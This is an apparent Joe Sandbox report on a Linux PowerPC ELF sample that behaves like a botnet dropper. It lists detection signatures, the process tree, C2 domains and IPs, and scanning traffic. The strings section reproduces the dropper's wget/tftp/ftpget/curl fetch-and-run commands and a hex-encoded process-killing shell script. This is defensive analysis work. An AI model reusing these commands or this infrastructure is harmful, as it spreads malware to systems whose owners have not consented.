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Linux Analysis Report
nabppc.elf

Overview

General Information

Sample name:	nabppc.elf
Analysis ID:	1563484
MD5:	097bfaeea077435dc0c269220cd753af
SHA1:	2e4d42eafefe6727404bb61cbcbfe8f8210a277b
SHA256:	e1fc4d2626c4942063a8ebdc13afb551b8127c84d1c3df06c78d71824139b444
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563484
Start date and time:	2024-11-27 00:56:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabppc.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/164@4/0

Runtime Messages

Command:	/tmp/nabppc.elf
PID:	6211
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6200, Parent: 4334)

rm (PID: 6200, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.E1IgIjKTkI /tmp/tmp.j3QzsJ1WXJ /tmp/tmp.T3xiL4r4Hv

dash New Fork (PID: 6201, Parent: 4334)

rm (PID: 6201, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.E1IgIjKTkI /tmp/tmp.j3QzsJ1WXJ /tmp/tmp.T3xiL4r4Hv

nabppc.elf (PID: 6211, Parent: 6125, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/nabppc.elf

nabppc.elf New Fork (PID: 6213, Parent: 6211)

nabppc.elf New Fork (PID: 6215, Parent: 6213)

nabppc.elf New Fork (PID: 6218, Parent: 6213)

nabppc.elf New Fork (PID: 6220, Parent: 6213)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabppc.elf

ReversingLabs: Detection: 31%

Source: nabppc.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.247 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:39624 -> 154.213.187.213:38241
Source: global traffic	TCP traffic: 192.168.2.23:35276 -> 154.213.187.249:38241
Source: global traffic	TCP traffic: 192.168.2.23:39182 -> 154.213.187.247:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 22.69.166.218
Source: unknown	TCP traffic detected without corresponding DNS query: 36.177.192.43
Source: unknown	TCP traffic detected without corresponding DNS query: 23.172.245.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.127.134.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.198.206.48
Source: unknown	TCP traffic detected without corresponding DNS query: 83.242.35.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.131.157.128
Source: unknown	TCP traffic detected without corresponding DNS query: 148.221.214.246
Source: unknown	TCP traffic detected without corresponding DNS query: 190.93.25.151
Source: unknown	TCP traffic detected without corresponding DNS query: 12.80.86.6
Source: unknown	TCP traffic detected without corresponding DNS query: 69.37.183.14
Source: unknown	TCP traffic detected without corresponding DNS query: 197.47.3.44
Source: unknown	TCP traffic detected without corresponding DNS query: 30.42.122.87
Source: unknown	TCP traffic detected without corresponding DNS query: 15.169.237.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.163.129.19
Source: unknown	TCP traffic detected without corresponding DNS query: 51.79.117.243
Source: unknown	TCP traffic detected without corresponding DNS query: 142.46.166.239
Source: unknown	TCP traffic detected without corresponding DNS query: 172.152.63.151
Source: unknown	TCP traffic detected without corresponding DNS query: 188.108.115.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.132.188.153
Source: unknown	TCP traffic detected without corresponding DNS query: 145.187.34.105
Source: unknown	TCP traffic detected without corresponding DNS query: 30.215.193.135
Source: unknown	TCP traffic detected without corresponding DNS query: 134.138.218.136
Source: unknown	TCP traffic detected without corresponding DNS query: 112.132.106.232
Source: unknown	TCP traffic detected without corresponding DNS query: 216.51.141.131
Source: unknown	TCP traffic detected without corresponding DNS query: 109.186.134.141
Source: unknown	TCP traffic detected without corresponding DNS query: 140.62.168.205
Source: unknown	TCP traffic detected without corresponding DNS query: 148.78.29.132
Source: unknown	TCP traffic detected without corresponding DNS query: 71.193.237.173
Source: unknown	TCP traffic detected without corresponding DNS query: 143.55.148.28
Source: unknown	TCP traffic detected without corresponding DNS query: 166.180.133.189
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.118.206
Source: unknown	TCP traffic detected without corresponding DNS query: 128.217.138.22
Source: unknown	TCP traffic detected without corresponding DNS query: 217.234.23.170
Source: unknown	TCP traffic detected without corresponding DNS query: 6.254.39.31
Source: unknown	TCP traffic detected without corresponding DNS query: 141.209.219.193
Source: unknown	TCP traffic detected without corresponding DNS query: 15.68.92.124
Source: unknown	TCP traffic detected without corresponding DNS query: 104.200.231.222
Source: unknown	TCP traffic detected without corresponding DNS query: 79.105.204.229
Source: unknown	TCP traffic detected without corresponding DNS query: 173.98.99.232
Source: unknown	TCP traffic detected without corresponding DNS query: 39.171.1.214
Source: unknown	TCP traffic detected without corresponding DNS query: 65.13.79.254
Source: unknown	TCP traffic detected without corresponding DNS query: 140.148.56.130
Source: unknown	TCP traffic detected without corresponding DNS query: 22.69.166.218
Source: unknown	TCP traffic detected without corresponding DNS query: 36.177.192.43
Source: unknown	TCP traffic detected without corresponding DNS query: 23.172.245.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.127.134.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.198.206.48
Source: unknown	TCP traffic detected without corresponding DNS query: 83.242.35.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.131.157.128

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: nabppc.elf	String found in binary or memory: http:///curl.sh
Source: nabppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6233/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6218)	File opened: /proc/6239/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6200)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.E1IgIjKTkI /tmp/tmp.j3QzsJ1WXJ /tmp/tmp.T3xiL4r4Hv			Jump to behavior
Source: /usr/bin/dash (PID: 6201)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.E1IgIjKTkI /tmp/tmp.j3QzsJ1WXJ /tmp/tmp.T3xiL4r4Hv			Jump to behavior

Source: nabppc.elf, 6211.1.0000561914eb1000.0000561914f61000.rw-.sdmp, nabppc.elf, 6215.1.0000561914eb1000.0000561914f61000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: nabppc.elf, 6211.1.00007ffd7c0ed000.00007ffd7c10e000.rw-.sdmp, nabppc.elf, 6215.1.00007ffd7c0ed000.00007ffd7c10e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/nabppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabppc.elf
Source: nabppc.elf, 6211.1.0000561914eb1000.0000561914f61000.rw-.sdmp, nabppc.elf, 6215.1.0000561914eb1000.0000561914f61000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: nabppc.elf, 6211.1.00007ffd7c0ed000.00007ffd7c10e000.rw-.sdmp, nabppc.elf, 6215.1.00007ffd7c0ed000.00007ffd7c10e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Antivirus Detection	Reputation
netfags.geek	154.213.187.242	true	false		high
burnthe.libre	154.213.187.242	true	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabppc.elf	false		high
http:///curl.sh	nabppc.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
175.68.219.90	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
54.1.220.250	unknown	United States	14618	AMAZON-AESUS	false
20.151.236.171	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
61.138.132.144	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
44.150.77.179	unknown	United States	62383	LDS-ASBE	false
32.29.23.178	unknown	United States	2686	ATGS-MMD-ASUS	false
73.32.203.29	unknown	United States	7922	COMCAST-7922US	false
220.233.13.66	unknown	Australia	10143	EXETEL-AS-APExetelPtyLtdAU	false
197.32.98.141	unknown	Egypt	8452	TE-ASTE-ASEG	false
102.103.33.132	unknown	Morocco	36925	ASMediMA	false
110.116.31.182	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
35.240.238.95	unknown	United States	15169	GOOGLEUS	false
57.174.172.250	unknown	Belgium	2686	ATGS-MMD-ASUS	false
105.67.90.27	unknown	Morocco	36884	MAROCCONNECTMA	false
86.4.168.44	unknown	United Kingdom	5089	NTLGB	false
63.94.4.215	unknown	United States	701	UUNETUS	false
107.159.181.227	unknown	Canada	1403	EBOXCA	false
211.23.247.75	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
87.31.221.189	unknown	Italy	3269	ASN-IBSNAZIT	false
72.0.149.26	unknown	United States	13536	TVC-AS1US	false
60.114.81.48	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
159.145.71.22	unknown	United States	1226	CTA-42-AS1226US	false
68.145.14.215	unknown	Canada	6327	SHAWCA	false
121.24.141.225	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
212.22.247.7	unknown	Gibraltar	12798	VCW-ASGibraltarGI	false
84.188.100.158	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
78.199.151.85	unknown	France	12322	PROXADFR	false
62.79.244.112	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
18.51.58.15	unknown	United States	3	MIT-GATEWAYSUS	false
173.242.35.173	unknown	United States	14164	BGP-INTCUS	false
216.46.88.114	unknown	United States	4565	MEGAPATH2-US	false
142.46.166.239	unknown	Canada	19752	HYDROONETELECOMCA	false
38.193.38.12	unknown	United States	174	COGENT-174US	false
214.29.220.173	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
8.9.241.80	unknown	United States	17405	FISERV-CORPORATEUS	false
217.240.255.134	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
213.205.87.109	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
207.252.45.191	unknown	United States	10844	VASTNETUS	false
86.247.153.101	unknown	France	3215	FranceTelecom-OrangeFR	false
74.201.172.155	unknown	United States	29791	VOXEL-DOT-NETUS	false
183.48.101.111	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
217.234.23.170	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
91.219.118.206	unknown	Spain	12386	ASALPIBarcelonaSPAINES	false
108.160.142.103	unknown	United States	20473	AS-CHOOPAUS	false
37.16.145.228	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
167.226.148.91	unknown	United States	2897	GEORGIA-1US	false
102.2.166.220	unknown	unknown	36926	CKL1-ASNKE	false
86.146.14.93	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
42.96.190.117	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
99.119.210.64	unknown	United States	7018	ATT-INTERNET4US	false
104.72.116.123	unknown	United States	16625	AKAMAI-ASUS	false
79.65.156.115	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
72.123.241.35	unknown	United States	22394	CELLCOUS	false
1.21.219.9	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
102.6.72.208	unknown	unknown	36926	CKL1-ASNKE	false
128.217.138.22	unknown	United States	1843	AS1843-7US	false
13.220.80.3	unknown	United States	16509	AMAZON-02US	false
39.171.1.214	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
210.151.88.146	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
57.124.144.42	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
1.52.243.183	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
219.75.227.68	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
27.38.152.67	unknown	China	17623	CNCGROUP-SZChinaUnicomShenzennetworkCN	false
8.10.186.34	unknown	United States	14818	CYBERMESA-ASNUS	false
156.220.59.245	unknown	Egypt	8452	TE-ASTE-ASEG	false
9.113.111.255	unknown	United States	3356	LEVEL3US	false
21.90.114.50	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
118.112.142.25	unknown	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
63.223.162.216	unknown	United States	3491	BTN-ASNUS	false
211.225.201.213	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
196.19.150.108	unknown	Seychelles	19969	JOESDATACENTERUS	false
103.119.194.6	unknown	India	134866	SSCN-ASSscnPvtLtdIN	false
157.49.72.153	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
218.167.8.220	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
139.78.111.15	unknown	United States	395421	OKSTATEUS	false
173.173.90.196	unknown	United States	11427	TWC-11427-TEXASUS	false
148.213.232.136	unknown	Mexico	15236	UniversidaddeColimaMX	false
18.45.172.251	unknown	United States	3	MIT-GATEWAYSUS	false
116.72.58.172	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	false
195.251.174.26	unknown	Greece	8617	UniversityoftheAegeanGR	false
37.191.213.77	unknown	Norway	57963	LYNET-INTERNETT-ASNO	false
6.147.76.18	unknown	United States	3356	LEVEL3US	false
141.209.219.193	unknown	United States	27274	CMICHUS	false
35.28.124.19	unknown	United States	36375	UMICH-AS-5US	false
65.86.239.63	unknown	United States	4565	MEGAPATH2-US	false
154.238.148.234	unknown	Egypt	36992	ETISALAT-MISREG	false
143.55.148.28	unknown	United States	23341	FITASUS	false
59.43.72.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
90.175.114.14	unknown	Spain	12479	UNI2-ASES	false
71.136.30.69	unknown	United States	7018	ATT-INTERNET4US	false
81.139.35.122	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
51.123.41.173	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
83.242.35.132	unknown	Germany	39913	CLOUD4YOUDE	false
21.168.88.71	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
198.230.211.53	unknown	United States	292	ESNET-WESTUS	false
33.122.192.202	unknown	United States	2686	ATGS-MMD-ASUS	false
208.157.250.26	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
209.39.12.24	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
217.26.206.119	unknown	France	35753	ITCITCASnumberSA	false
32.164.178.226	unknown	United States	2686	ATGS-MMD-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	ppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	sh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nabmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	zerarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	splarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	splmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
netfags.geek	nabmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nklarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	splmpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	nklsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214

Process:	/tmp/nabppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.193802607820624
Encrypted:	false
SSDEEP:	6:MEcaFF+NT/V/caFFw4VqY/VfKoO/VNfiY/VH:MhaSKa44VSl
MD5:	5DDB5CF322EEB2DFB94EFB766651D5FD
SHA1:	64E48FA550232C2C3D5393A6015105F7376A823C
SHA-256:	17B1DBCC55672125908B38ECBF86FD135DEB120EA274FFDE626061A1DBD55F45
SHA-512:	DACFCA5A07E1F4E484AD70AB60F250D9561AC57C42D618F8FFA7B0779A221FADEC7FA1E3CA07948719C702E5B92E60415755CE87C08B989432A5D96EDFD6B82E
Malicious:	false
Reputation:	low
Preview:	10000000-1000a000 r-xp 00000000 fd:00 531563 /tmp/..1001a000-1001b000 rw-p 0000a000 fd:00 531563 /tmp/..1001b000-1001d000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.197529804168106
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabppc.elf
File size:	41'936 bytes
MD5:	097bfaeea077435dc0c269220cd753af
